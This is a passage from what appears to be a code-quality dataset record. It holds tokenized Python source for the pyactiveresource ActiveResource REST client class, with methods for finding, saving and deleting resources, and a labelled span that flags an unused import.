'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 332 }, { "content": " @classmethod\n def find_first(cls, from_=None, **kwargs):\n \"\"\"Core method for finding resources.\n\n Args:\n from_: The path that resources will be fetched from.\n kwargs: any keyword arguments for query.\n\n Returns:\n The first resource from the list of returned resources or None if\n none are found.\n Raises:\n connection.Error: On any communications errors.\n Error: On any other errors.\n \"\"\"\n resources = cls._find_every(from_=from_, **kwargs)\n if resources:\n return resources[0]", "metadata": "root.ActiveResource.find_first", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 352 }, { "content": " @classmethod\n def find_one(cls, from_, **kwargs):\n \"\"\"Get a single resource from a specific URL.\n\n Args:\n from_: The path that resources will be fetched from.\n kwargs: Any keyword arguments for query.\n Returns:\n An ActiveResource object.\n Raises:\n connection.Error: On any communications errors.\n Error: On any other errors.\n \"\"\"\n return cls._find_one(from_, kwargs)", "metadata": "root.ActiveResource.find_one", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 371 }, { "content": " @classmethod\n def exists(cls, id_, **kwargs):\n \"\"\"Check whether a resource exists.\n\n Args:\n id_: The id or other key which specifies a unique object.\n kwargs: Any keyword arguments for query.\n Returns:\n True if the resource is found, False otherwise.\n \"\"\"\n prefix_options, query_options = cls._split_options(kwargs)\n path = cls._element_path(id_, prefix_options, query_options)\n try:\n _ = cls.connection.head(path, cls.headers)\n return True\n except connection.Error:\n return False", "metadata": "root.ActiveResource.exists", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 386 }, { "content": " @classmethod\n def create(cls, attributes):\n \"\"\"Create and save a resource with the given attributes.\n\n Args:\n attributes: A dictionary of attributes which represent this object.\n Returns:\n The new resource (which may or may not have been saved successfully).\n \"\"\"\n resource = cls(attributes)\n resource.save()\n return resource", "metadata": "root.ActiveResource.create", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 404 }, { "content": " @classmethod\n def _split_options(cls, options):\n \"\"\"Split prefix options and query options.\n\n Args:\n options: A dictionary of prefix and/or query options.\n Returns:\n A tuple containing (prefix_options, query_options)\n \"\"\"\n #TODO(mrroach): figure out prefix_options\n prefix_options = {}\n query_options = {}\n for key, value in options.iteritems():\n if key in cls._prefix_parameters():\n prefix_options[key] = value\n else:\n query_options[key] = value\n return [prefix_options, query_options]", "metadata": "root.ActiveResource._split_options", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 418 }, { "content": " @classmethod\n def _find_single(cls, id_, **kwargs):\n \"\"\"Get a single object from the default URL.\n\n Args:\n id_: The id or other key which specifies a unique object.\n kwargs: Any keyword arguments for the query.\n Returns:\n An ActiveResource object.\n Raises:\n ConnectionError: On any error condition.\n \"\"\"\n prefix_options, query_options = cls._split_options(kwargs)\n path = cls._element_path(id_, prefix_options, query_options)\n return cls._build_object(cls.connection.get(path, cls.headers),\n prefix_options)", "metadata": "root.ActiveResource._find_single", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 437 }, { "content": " @classmethod\n def _find_one(cls, from_, query_options):\n \"\"\"Find a single resource from a one-off URL.\n\n Args:\n from_: The path from which to retrieve the resource.\n query_options: Any keyword arguments for the query.\n Returns:\n An ActiveResource object.\n Raises:\n connection.ConnectionError: On any error condition.\n \"\"\"\n #TODO(mrroach): allow from_ to be a string-generating function\n path = from_ + cls._query_string(query_options)\n return cls._build_object(cls.connection.get(path, cls.headers))", "metadata": "root.ActiveResource._find_one", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 454 }, { "content": " @classmethod\n def _find_every(cls, from_=None, **kwargs):\n \"\"\"Get all resources.\n\n Args:\n from_: (optional) The path from which to retrieve the resource.\n kwargs: Any keyword arguments for the query.\n Returns:\n A list of resources.\n \"\"\"\n prefix_options, query_options = cls._split_options(kwargs)\n if from_:\n query_options.update(prefix_options)\n path = from_ + cls._query_string(query_options)\n prefix_options = None\n else:\n\n path = cls._collection_path(prefix_options, query_options)\n return cls._build_list(cls.connection.get(path, cls.headers),\n prefix_options)", "metadata": "root.ActiveResource._find_every", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 470 }, { "content": " @classmethod\n def _build_object(cls, attributes, prefix_options=None):\n \"\"\"Create an object or objects for the given resource string.\n\n Args:\n attributes: A dictionary representing a resource.\n prefix_options: A dict of prefixes to add to the request for\n nested URLs.\n Returns:\n An ActiveResource object.\n \"\"\"\n return cls(attributes, prefix_options)", "metadata": "root.ActiveResource._build_object", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 491 }, { "content": " @classmethod\n def _build_list(cls, elements, prefix_options=None):\n \"\"\"Create a list of objects for the given xml string.\n\n Args:\n elements: A list of dictionaries representing resources.\n prefix_options: A dict of prefixes to add to the request for\n nested URLs.\n Returns:\n A list of ActiveResource objects.\n \"\"\"\n resources = []\n if isinstance(elements, dict):\n elements = [elements]\n # slice elements to ensure that this is a list-type object not a dict\n for element in elements[:]:\n resources.append(cls(element, prefix_options))\n return resources", "metadata": "root.ActiveResource._build_list", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 504 }, { "content": " @classmethod\n def _query_string(cls, query_options):\n \"\"\"Return a query string for the given options.\n\n Args:\n query_options: A dictionary of query keys/values.\n Returns:\n A string containing the encoded query.\n \"\"\"\n if query_options:\n return '?' + util.to_query(query_options)\n else:\n return ''", "metadata": "root.ActiveResource._query_string", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 523 }, { "content": " @classmethod\n def _element_path(cls, id_, prefix_options=None, query_options=None):\n \"\"\"Get the element path for the given id.\n\n Examples:\n Comment.element_path(1, {'post_id': 5}) -> /posts/5/act\n Args:\n id_: The id of the object to retrieve.\n prefix_options: A dict of prefixes to add to the request for\n nested URLs.\n query_options: A dict of items to add to the query string for\n the request.\n Returns:\n The path (relative to site) to the element formatted with the query.\n \"\"\"\n return '%(prefix)s/%(plural)s/%(id)s.%(format)s%(query)s' % {\n 'prefix': cls._prefix(prefix_options),\n 'plural': cls._plural,\n 'id': id_,\n 'format': cls.format.extension,\n 'query': cls._query_string(query_options)}", "metadata": "root.ActiveResource._element_path", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 537 }, { "content": " @classmethod\n def _collection_path(cls, prefix_options=None, query_options=None):\n \"\"\"Get the collection path for this object type.\n\n Examples:\n Comment.collection_path() -> /comments.xml\n Comment.collection_path(query_options={'active': 1})\n -> /comments.xml?active=1\n Comment.collection_path({'posts': 5})\n -> /posts/5/comments.xml\n Args:\n prefix_options: A dict of prefixes to add to the request for\n nested URLs\n query_options: A dict of items to add to the query string for\n the request.\n Returns:\n The path (relative to site) to this type of collection.\n \"\"\"\n return '%(prefix)s/%(plural)s.%(format)s%(query)s' % {\n 'prefix': cls._prefix(prefix_options),\n 'plural': cls._plural,\n 'format': cls._format.extension,\n 'query': cls._query_string(query_options)}", "metadata": "root.ActiveResource._collection_path", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 559 }, { "content": " @classmethod\n def _custom_method_collection_url(cls, method_name, options):\n \"\"\"Get the collection path for this resource type.\n\n Args:\n method_name: The HTTP method being used.\n options: A dictionary of query/prefix options.\n Returns:\n The path (relative to site) to this type of collection.\n \"\"\"\n prefix_options, query_options = cls._split_options(options)\n path = (\n '%(prefix)s/%(plural)s/%(method_name)s.%(format)s%(query)s' %\n {'prefix': cls._prefix(prefix_options),\n 'plural': cls._plural,\n 'method_name': method_name,\n 'format': cls.format.extension,\n 'query': cls._query_string(query_options)})\n return path", "metadata": "root.ActiveResource._custom_method_collection_url", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 583 }, { "content": " @classmethod\n def _class_get(cls, method_name, **kwargs):\n \"\"\"Get a nested resource or resources.\n\n Args:\n method_name: the nested resource to retrieve.\n kwargs: Any keyword arguments for the query.\n Returns:\n A dictionary representing the returned data.\n \"\"\"\n url = cls._custom_method_collection_url(method_name, kwargs)\n return cls.connection.get(url, cls.headers)", "metadata": "root.ActiveResource._class_get", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 603 }, { "content": " @classmethod\n def _class_post(cls, method_name, body='', **kwargs):\n \"\"\"Get a nested resource or resources.\n\n Args:\n method_name: the nested resource to retrieve.\n body: The data to send as the body of the request.\n kwargs: Any keyword arguments for the query.\n Returns:\n A connection.Response object.\n \"\"\"\n url = cls._custom_method_collection_url(method_name, kwargs)\n return cls.connection.post(url, cls.headers, body)", "metadata": "root.ActiveResource._class_post", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 616 }, { "content": " @classmethod\n def _class_put(cls, method_name, body='', **kwargs):\n \"\"\"Update a nested resource or resources.\n\n Args:\n method_name: the nested resource to update.\n body: The data to send as the body of the request.\n kwargs: Any keyword arguments for the query.\n Returns:\n A connection.Response object.\n \"\"\"\n url = cls._custom_method_collection_url(method_name, kwargs)\n return cls.connection.put(url, cls.headers, body)", "metadata": "root.ActiveResource._class_put", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 630 }, { "content": " @classmethod\n def _class_delete(cls, method_name, **kwargs):\n \"\"\"Delete a nested resource or resources.\n\n Args:\n method_name: the nested resource to delete.\n kwargs: Any keyword arguments for the query.\n Returns:\n A connection.Response object.\n \"\"\"\n url = cls._custom_method_collection_url(method_name, kwargs)\n return cls.connection.delete(url, cls.headers)", "metadata": "root.ActiveResource._class_delete", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 644 }, { "content": " @classmethod\n def _class_head(cls, method_name, **kwargs):\n \"\"\"Predicate a nested resource or resources exists.\n\n Args:\n method_name: the nested resource to predicate exists.\n kwargs: Any keyword arguments for the query.\n Returns:\n A connection.Response object.\n \"\"\"\n url = cls._custom_method_collection_url(method_name, kwargs)\n return cls.connection.head(url, cls.headers)", "metadata": "root.ActiveResource._class_head", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 657 }, { "content": " @classmethod\n def _prefix_parameters(cls):\n \"\"\"Return a list of the parameters used in the site prefix.\n\n e.g. /objects/$object_id would yield ['object_id']\n /objects/${object_id}/people/$person_id/ would yield\n ['object_id', 'person_id']\n Args:\n None\n Returns:\n A set of named parameters.\n \"\"\"\n path = cls.prefix_source\n template = Template(path)\n keys = set()\n for match in template.pattern.finditer(path):\n for match_type in 'braced', 'named':\n if match.groupdict()[match_type]:\n keys.add(match.groupdict()[match_type])\n return keys", "metadata": "root.ActiveResource._prefix_parameters", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 670 }, { "content": " @classmethod\n def _prefix(cls, options=None):\n \"\"\"Return the prefix for this object type.\n\n Args:\n options: A dictionary containing additional prefixes to prepend.\n Returns:\n A string containing the path to this element.\n \"\"\"\n if options is None:\n options = {}\n path = re.sub('/$', '', cls.prefix_source)\n template = Template(path)\n keys = cls._prefix_parameters()\n options = dict([(k, options.get(k, '')) for k in keys])\n return template.safe_substitute(options)", "metadata": "root.ActiveResource._prefix", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 691 }, { "content": " def to_dict(self):\n \"\"\"Convert the object to a dictionary.\"\"\"\n values = {}\n for key, value in self.attributes.iteritems():\n if isinstance(value, list):\n new_value = []\n for i in value:\n if isinstance(i, dict):\n new_value.append(i)\n else:\n new_value.append(i.to_dict())\n values[key] = new_value\n elif isinstance(value, ActiveResource):\n values[key] = value.to_dict()\n else:\n values[key] = value\n return values", "metadata": "root.ActiveResource.to_dict", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 709 }, { "content": " def to_xml(self, root=None, header=True, pretty=False, dasherize=True):\n \"\"\"Convert the object to an xml string.\n\n Args:\n root: The name of the root element for xml output.\n header: Whether to include the xml header.\n pretty: Whether to \"pretty-print\" format the output.\n dasherize: Whether to dasherize the xml attribute names.\n Returns:\n An xml string.\n \"\"\"\n if not root:\n root = self._singular\n return util.to_xml(self.to_dict(), root=root,\n header=header, pretty=pretty,\n dasherize=dasherize)", "metadata": "root.ActiveResource.to_xml", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 727 }, { "content": " def reload(self):\n \"\"\"Connect to the server and update this resource's attributes.\n\n Args:\n None\n Returns:\n None\n \"\"\"\n attributes = self.klass.connection.get(\n self._element_path(self.id, self._prefix_options),\n self.klass.headers)\n self._update(attributes)", "metadata": "root.ActiveResource.reload", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 744 }, { "content": " def save(self):\n \"\"\"Save the object to the server.\n\n Args:\n None\n Returns:\n True on success, False on ResourceInvalid errors (sets the errors\n attribute if an <errors> object is returned by the server).\n Raises:\n connection.Error: On any communications problems.\n \"\"\"\n try:\n self.errors.clear()\n if self.id:\n response = self.klass.connection.put(\n self._element_path(self.id, self._prefix_options),\n self.klass.headers,\n data=self.to_xml())\n else:\n response = self.klass.connection.post(\n self._collection_path(self._prefix_options),\n self.klass.headers,\n data=self.to_xml())\n new_id = self._id_from_response(response)\n if new_id:\n self.id = new_id\n except connection.ResourceInvalid, err:\n self.errors.from_xml(err.response.body)\n return False\n try:\n attributes = self.klass.format.decode(response.body)\n except formats.Error:\n return True\n if attributes:\n self._update(attributes)\n return True", "metadata": "root.ActiveResource.save", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 757 }, { "content": " def is_valid(self):\n \"\"\"Returns True if no errors have been set.\n\n Args:\n None\n Returns:\n True if no errors have been set, False otherwise.\n \"\"\"\n return not len(self.errors)", "metadata": "root.ActiveResource.is_valid", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 794 }, { "content": " def _id_from_response(self, response):\n \"\"\"Pull the ID out of a response from a create POST.\n\n Args:\n response: A Response object.\n Returns:\n An id string.\n \"\"\"\n match = re.search(r'\\/([^\\/]*?)(\\.\\w+)?$',\n response.get('Location',\n response.get('location', '')))\n if match:\n try:\n return int(match.group(1))\n except ValueError:\n return match.group(1)", "metadata": "root.ActiveResource._id_from_response", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 804 }, { "content": " def destroy(self):\n \"\"\"Deletes the resource from the remote service.\n\n Args:\n None\n Returns:\n None\n \"\"\"\n self.klass.connection.delete(\n self._element_path(self.id, self._prefix_options),\n self.klass.headers)", "metadata": "root.ActiveResource.destroy", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 821 }, { "content": " def get_id(self):\n return self.attributes.get(self.klass.primary_key)", "metadata": "root.ActiveResource.get_id", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 833 }, { "content": " def set_id(self, value):\n self.attributes[self.klass.primary_key] = value", "metadata": "root.ActiveResource.set_id", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 836 }, { "content": " def __getattr__(self, name):\n \"\"\"Retrieve the requested attribute if it exists.\n\n Args:\n name: The attribute name.\n Returns:\n The attribute's value.\n Raises:\n AttributeError: if no such attribute exists.\n \"\"\"\n if 'attributes' in self.__dict__:\n if name in self.attributes:\n return self.attributes[name]\n raise AttributeError(name)", "metadata": "root.ActiveResource.__getattr__", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 841 }, { "content": " def __setattr__(self, name, value):\n \"\"\"Set the named attributes.\n\n Args:\n name: The attribute name.\n value: The attribute's value.\n Returns:\n None\n \"\"\"\n if '_initialized' in self.__dict__:\n if name in self.__dict__ or getattr(self.__class__, name, None):\n # Update a normal attribute\n object.__setattr__(self, name, value)\n else:\n # Add/update an attribute\n self.attributes[name] = value\n else:\n object.__setattr__(self, name, value)", "metadata": "root.ActiveResource.__setattr__", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 856 }, { "content": " def __repr__(self):\n return '%s(%s)' % (self._singular, self.id)", "metadata": "root.ActiveResource.__repr__", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 875 }, { "content": " def __cmp__(self, other):\n if isinstance(other, self.__class__):\n return cmp(self.id, other.id)\n else:\n return cmp(self.id, other)", "metadata": "root.ActiveResource.__cmp__", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 878 }, { "content": " def __hash__(self):\n return hash(tuple(self.attributes.items()))", "metadata": "root.ActiveResource.__hash__", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 884 }, { "content": " def _update(self, attributes):\n \"\"\"Update the object with the given attributes.\n\n Args:\n attributes: A dictionary of attributes.\n Returns:\n None\n \"\"\"\n if not isinstance(attributes, dict):\n return\n for key, value in attributes.items():\n if isinstance(value, dict):\n klass = self._find_class_for(key)\n attr = klass(value)\n elif isinstance(value, list):\n klass = self._find_class_for_collection(key)\n attr = [klass(child) for child in value]\n else:\n attr = value\n # Store the actual value in the attributes dictionary\n self.attributes[key] = attr", "metadata": "root.ActiveResource._update", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 887 }, { "content": " @classmethod\n def _find_class_for_collection(cls, collection_name):\n \"\"\"Look in the parent modules for classes matching the element name.\n\n One or both of element/class name must be specified.\n\n Args:\n collection_name: The name of the collection type.\n Returns:\n A Resource class.\n \"\"\"\n return cls._find_class_for(util.singularize(collection_name))", "metadata": "root.ActiveResource._find_class_for_collection", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 909 }, { "content": " @classmethod\n def _find_class_for(cls, element_name=None,\n class_name=None, create_missing=True):\n \"\"\"Look in the parent modules for classes matching the element name.\n\n One or both of element/class name must be specified.\n\n Args:\n element_name: The name of the element type.\n class_name: The class name of the element type.\n create_missing: Whether classes should be auto-created if no\n existing match is found.\n Returns:\n A Resource class.\n \"\"\"\n if not element_name and not class_name:\n raise Error('One of element_name,class_name must be specified.')\n elif not element_name:\n element_name = util.underscore(class_name)\n elif not class_name:\n class_name = util.camelize(element_name)\n\n module_path = cls.__module__.split('.')\n for depth in range(len(module_path), 0, -1):\n try:\n __import__('.'.join(module_path[:depth]))\n module = sys.modules['.'.join(module_path[:depth])]\n except ImportError:\n continue\n try:\n klass = getattr(module, class_name)\n return klass\n except AttributeError:\n try:\n __import__('.'.join([module.__name__, element_name]))\n submodule = sys.modules['.'.join([module.__name__,\n element_name])]\n except ImportError:\n continue\n try:\n klass = getattr(submodule, class_name)\n return klass\n except AttributeError:\n continue\n\n # If we made it this far, no such class was found\n if create_missing:\n return new.classobj(class_name, (cls,),\n {'__module__': cls.__module__})", "metadata": "root.ActiveResource._find_class_for", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 922 }, { "content": " def _custom_method_element_url(self, method_name, options):\n \"\"\"Get the element path for this type of object.\n\n Args:\n method_name: The HTTP method being used.\n options: A dictionary of query/prefix options.\n Returns:\n The path (relative to site) to the element formatted with the query.\n \"\"\"\n prefix_options, query_options = self._split_options(options)\n prefix_options.update(self._prefix_options)\n path = (\n '%(prefix)s/%(plural)s/%(id)s/%(method_name)s.%(format)s%(query)s' %\n {'prefix': self.klass.prefix(prefix_options),\n 'plural': self._plural,\n 'id': self.id,\n 'method_name': method_name,\n 'format': self._format.extension,\n 'query': self._query_string(query_options)})\n return path", "metadata": "root.ActiveResource._custom_method_element_url", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 973 }, { "content": " def _custom_method_new_element_url(self, method_name, options):\n \"\"\"Get the element path for creating new objects of this type.\n\n Args:\n method_name: The HTTP method being used.\n options: A dictionary of query/prefix options.\n Returns:\n The path (relative to site) to the element formatted with the query.\n \"\"\"\n prefix_options, query_options = self._split_options(options)\n prefix_options.update(self._prefix_options)\n path = (\n '%(prefix)s/%(plural)s/new/%(method_name)s.%(format)s%(query)s' %\n {'prefix': self.klass.prefix(prefix_options),\n 'plural': self._plural,\n 'method_name': method_name,\n 'format': self._format.extension,\n 'query': self._query_string(query_options)})\n return path", "metadata": "root.ActiveResource._custom_method_new_element_url", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 994 }, { "content": " def _instance_get(self, method_name, **kwargs):\n \"\"\"Get a nested resource or resources.\n\n Args:\n method_name: the nested resource to retrieve.\n kwargs: Any keyword arguments for the query.\n Returns:\n A dictionary representing the returned data.\n \"\"\"\n url = self._custom_method_element_url(method_name, kwargs)\n return self.klass.connection.get(url, self.klass.headers)", "metadata": "root.ActiveResource._instance_get", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 1014 }, { "content": " def _instance_post(self, method_name, body='', **kwargs):\n \"\"\"Create a new resource/nested resource.\n\n Args:\n method_name: the nested resource to post to.\n body: The data to send as the body of the request.\n kwargs: Any keyword arguments for the query.\n Returns:\n A connection.Response object.\n \"\"\"\n if self.id:\n url = self._custom_method_element_url(method_name, kwargs)\n else:\n if not body:\n body = self.to_xml()\n url = self._custom_method_new_element_url(method_name, kwargs)\n return self.klass.connection.post(url, self.klass.headers, body)", "metadata": "root.ActiveResource._instance_post", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 1026 }, { "content": " def _instance_put(self, method_name, body='', **kwargs):\n \"\"\"Update a nested resource.\n\n Args:\n method_name: the nested resource to update.\n body: The data to send as the body of the request.\n kwargs: Any keyword arguments for the query.\n Returns:\n A connection.Response object.\n \"\"\"\n url = self._custom_method_element_url(method_name, kwargs)\n return self.klass.connection.put(url, self.klass.headers, body)", "metadata": "root.ActiveResource._instance_put", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 1044 }, { "content": " def _instance_delete(self, method_name, **kwargs):\n \"\"\"Delete a nested resource or resources.\n\n Args:\n method_name: the nested resource to delete.\n kwargs: Any keyword arguments for the query.\n Returns:\n A connection.Response object.\n \"\"\"\n url = self._custom_method_element_url(method_name, kwargs)\n return self.klass.connection.delete(url, self.klass.headers)", "metadata": "root.ActiveResource._instance_delete", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 1057 }, { "content": " def _instance_head(self, method_name, **kwargs):\n \"\"\"Predicate a nested resource or resources exists.\n\n Args:\n method_name: the nested resource to predicate exists.\n kwargs: Any keyword arguments for the query.\n Returns:\n A connection.Response object.\n \"\"\"\n url = self._custom_method_element_url(method_name, kwargs)\n return self.klass.connection.head(url, self.klass.headers)", "metadata": "root.ActiveResource._instance_head", "header": "['class', 'ActiveResource', '(', 'object', ')', ':', '___EOS___']", "index": 1069 } ]
[ { "span": "from pyactiveresource import element_containers", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 47 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python", "2.4", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Author", "s", ":", " ", "Jar", "ed", " ", "Ku", "olt", " ", "<", "me", "@", "super", "jar", "ed", ".", "com", ">", ",", " ", "Mark", " ", "Roa", "ch", " ", "<", "mr", "roa", "ch", "@", "google", ".", "com", ">_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Connect", " ", "to", " ", "and", " ", "interact", " ", "with", " ", "a", " ", "REST", " ", "server", " ", "and", " ", "its", " ", "object", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "new_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urlparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "string_", "import_", "Template_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pya", "ctive", "resource_", "import_", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pya", "ctive", "resource_", "import_", "element", "\\u", "containers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pya", "ctive", "resource_", "import_", "formats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pya", "ctive", "resource_", "import_", "util_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "VALID", "\\u", "NAME_", "=_", "re_", "._", "compile_", "(_", "'[", "a", "-", "z", "\\u]", "\\\\", "w", "*'_", ")_", "#", " ", "Valid", " ", "python", " ", "attribute", " ", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Error_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "A", " ", "genera", "l", " ", "error", " ", "derive", "d", " ", "from", " ", "Except", "ion", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Errors_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Represent", "s", " ", "error", " ", "lists", " ", "return", "ed", " ", "by", " ", "the", " ", "server", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Errors_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Constructor", " ", "for", " ", "Error", "s", " ", "object", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "base", ":", " ", "The", " ", "parent", " ", "resource", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "base_", "=_", "base_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "errors_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Errors_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "len_", "(_", "self_", "._", "errors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Errors_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "len\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "len_", "(_", "self_", "._", "errors_", ")_", 